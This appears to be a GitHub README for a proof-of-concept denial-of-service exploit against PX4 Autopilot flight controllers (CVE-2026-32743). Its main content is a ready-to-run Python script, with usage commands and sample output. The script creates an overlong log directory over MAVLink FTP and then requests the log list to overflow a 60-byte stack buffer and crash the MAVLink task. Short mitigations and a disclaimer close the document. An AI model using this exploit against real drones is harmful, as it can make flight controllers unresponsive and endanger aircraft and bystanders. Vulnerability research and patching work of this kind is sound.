mbanyamer/cve-2026-32743-px4-autopilot-mavlinkloghandler-stack-buffer-overflow-dos-PX4 Autopilot バージョン ≤1.17.0-rc2 に対するリモートサービス拒否（DoS）エクスプロイト。MavlinkLogHandler のスタックベースのバッファオーバーフローを介して実行されます。
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CVE-2026-32743 は、PX4 Autopilot バージョン ≤1.17.0-rc2 の MavlinkLogHandler におけるスタックベースのバッファオーバーフローです。
LogEntry.filepath バッファはわずか 60 バイトですが、sscanf() は幅指定子なしでログディレクトリパスを解析します。
MAVLink リンクアクセスを持つ攻撃者は、以下のことが可能です：
/fs/microsd/log/ 内に深くネストされたディレクトリ（パス長 > 60 バイト）を作成します。MAV_CMD_REQUEST_LOG_LIST を介してログリストを要求します。MavlinkLogHandler が長いパスを 60 バイトのバッファにコピーします → スタックオーバーフロー。修正版: commit 616b25a（sscanf に幅指定子を追加）
sequenceDiagram
participant Attacker
participant PX4 as PX4 Flight Controller
participant SD as SD Card (/fs/microsd/log/)
Attacker->>PX4: 1. Open MAVLink connection (UDP 14550)
PX4-->>Attacker: Heartbeat (system/component IDs)
Note over Attacker,PX4: Step 2: Create long directory via MAVLink FTP
Attacker->>PX4: MAVLink FTP: OpenFile( path = "/fs/microsd/log/" + "A"*70, flags=O_CREAT|O_DIRECTORY )
PX4->>SD: Create directory (named 70×'A')
SD-->>PX4: OK
Note over Attacker,PX4: Step 3: Trigger overflow by requesting log list
Attacker->>PX4: MAV_CMD_REQUEST_LOG_LIST (command 261)
PX4->>PX4: MavlinkLogHandler::list() reads log directory
PX4->>PX4: sscanf(path, "%s", LogEntry.filepath) ← NO width limit!
Note right of PX4: Buffer overflow: 70 bytes written into 60-byte buffer
PX4--xAttacker: MAVLink task crashes → no more heartbeats/commands
Note over Attacker,PX4: ✅ DoS achieved – flight controller unmanageable
1.17.0-rc2 で SD カードがマウントされていること（ログは /fs/microsd/log/ に保存されます）。14550）へのネットワークアクセス。pymavlink がインストールされた Python 3.6+：
pip install pymavlink
git clone https://github.com/mbanyamer/CVE-2026-32743-PoC
cd CVE-2026-32743-PoC
python3 exploit.py <TARGET_IP> [--port <PORT>]
| 引数 | 説明 | デフォルト |
|---|---|---|
target_ip | フライトコントローラの IP アドレス | 必須 |
--port | MAVLink UDP ポート | 14550 |
python3 exploit.py 192.168.1.10 --port 14550
期待される出力（DoS 成功時）：
[*] Connecting to MAVLink target: 192.168.1.10:14550
[+] Heartbeat received from system 1, component 1
[*] Creating long directory: /fs/microsd/log/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... (length 80 bytes)
[+] Directory created (or already existed).
[*] Requesting log list via MAV_CMD_REQUEST_LOG_LIST...
[*] Waiting for crash (target will stop responding)...
[+] Target unresponsive – DoS achieved!
#!/usr/bin/env python3
# Exploit Title: PX4 Autopilot MavlinkLogHandler Stack Buffer Overflow (DoS)
# CVE: CVE-2026-32743
# Date: 2026-05-08
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://px4.io/
# Software Link: https://github.com/PX4/PX4-Autopilot
# Affected: Versions 1.17.0-rc2 and below
# Tested on: PX4 v1.17.0-rc2 (Pixhawk)
# Category: DoS
# Platform: Embedded (PX4 Autopilot)
# Exploit Type: Stack-based Buffer Overflow
# CVSS: 7.5 (High)
# CWE: CWE-121
# Description: Creates an overly long directory via MAVLink FTP, then requests log list.
# Fixed in: https://github.com/PX4/PX4-Autopilot/commit/616b25a
# Usage: python3 exploit.py <target_ip> [--port <port>]
print(r"""
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║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║
║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║
║ ║
║ [ b a n y a m e r _ s e c u r i t y ] ║
║ ║
║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║
║ ║
║ Operator : Mohammed Idrees Banyamer • Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
║ Exploit : CVE-2026-32743 ║
║ Target : PX4 Autopilot • MAVLink • Log Handler ║
║ ║
║ Status : ACTIVE ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")
import time
import struct
import argparse
from pymavlink import mavutil
from pymavlink.dialects.v20 import common as mavlink2
def send_ftp_command(mav, seq, payload):
msg = mav.file_transfer_protocol_encode(
target_system=mav.target_system,
target_component=mav.target_component,
payload=payload
)
mav.mav.send(msg)
def ftp_create_directory(mav, path):
O_CREAT = 0x04
O_DIRECTORY = 0x08
seq = 1
path_bytes = path.encode('utf-8') + b'\x00'
payload = struct.pack('<BBHB', 0, 0, seq, 0) + path_bytes
send_ftp_command(mav, seq, payload)
time.sleep(0.5)
def exploit(target_ip, target_port):
print(f"[*] Connecting to MAVLink target: {target_ip}:{target_port}")
master = mavutil.mavlink_connection(f"udpout:{target_ip}:{target_port}")
master.wait_heartbeat()
print(f"[+] Heartbeat received from system {master.target_system}, component {master.target_component}")
long_dir_name = "A" * 70
full_path = f"/fs/microsd/log/{long_dir_name}"
print(f"[*] Creating long directory: {full_path} (length {len(full_path)} bytes)")
try:
ftp_create_directory(master, full_path)
print("[+] Directory created (or already existed).")
except Exception as e:
print(f"[-] FTP directory creation failed: {e}")
print(" Ensure the target supports MAVLink FTP and the SD card is mounted.")
return
print("[*] Requesting log list via MAV_CMD_REQUEST_LOG_LIST...")
master.mav.command_long_send(
master.target_system,
master.target_component,
mavlink2.MAV_CMD_REQUEST_LOG_LIST,
0,
0,
0, 0, 0, 0, 0, 0
)
print("[*] Waiting for crash (target will stop responding)...")
time.sleep(5)
try:
master.mav.heartbeat_send(mavlink2.MAV_TYPE_GCS, mavlink2.MAV_AUTOPILOT_GENERIC)
print("[-] Target still responsive – vulnerability may be patched or conditions not met.")
except Exception:
print("[+] Target unresponsive – DoS achieved!")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2026-32743 PX4 MavlinkLogHandler DoS Exploit")
parser.add_argument("target_ip", help="IP address of the target flight controller")
parser.add_argument("--port", type=int, default=14550, help="MAVLink UDP port (default: 14550)")
args = parser.parse_args()
exploit(args.target_ip, args.port)
$ python3 exploit.py 192.168.1.100
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╚════════════════════════════════════════════════════════════════════════════════════════════╝
[*] Connecting to MAVLink target: 192.168.1.100:14550
[+] Heartbeat received from system 1, component 1
[*] Creating long directory: /fs/microsd/log/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (length 80 bytes)
[+] Directory created (or already existed).
[*] Requesting log list via MAV_CMD_REQUEST_LOG_LIST...
[*] Waiting for crash (target will stop responding)...
[+] Target unresponsive – DoS achieved!
616b25a 以降のビルド）に更新します。MAV_0_FTP を 0 に設定します。/fs/microsd/log/ 内の異常なディレクトリ作成試行を監視します。Mohammed Idrees Banyamer
"Silent Hunter | Shadow Presence | Digital Intel"
この概念実証 (PoC) は教育および防御目的のみを意図しています。
所有していない、または明示的なテスト許可がないシステムに対する不正使用は違法です。
著者は、このソフトウェアの誤用または損害について一切の責任を負いません。
このプロジェクトはMIT ライセンスの下でライセンスされています – 詳細は LICENSE ファイルを参照してください。
帰属表示付きでの使用、変更、配布は自由です。
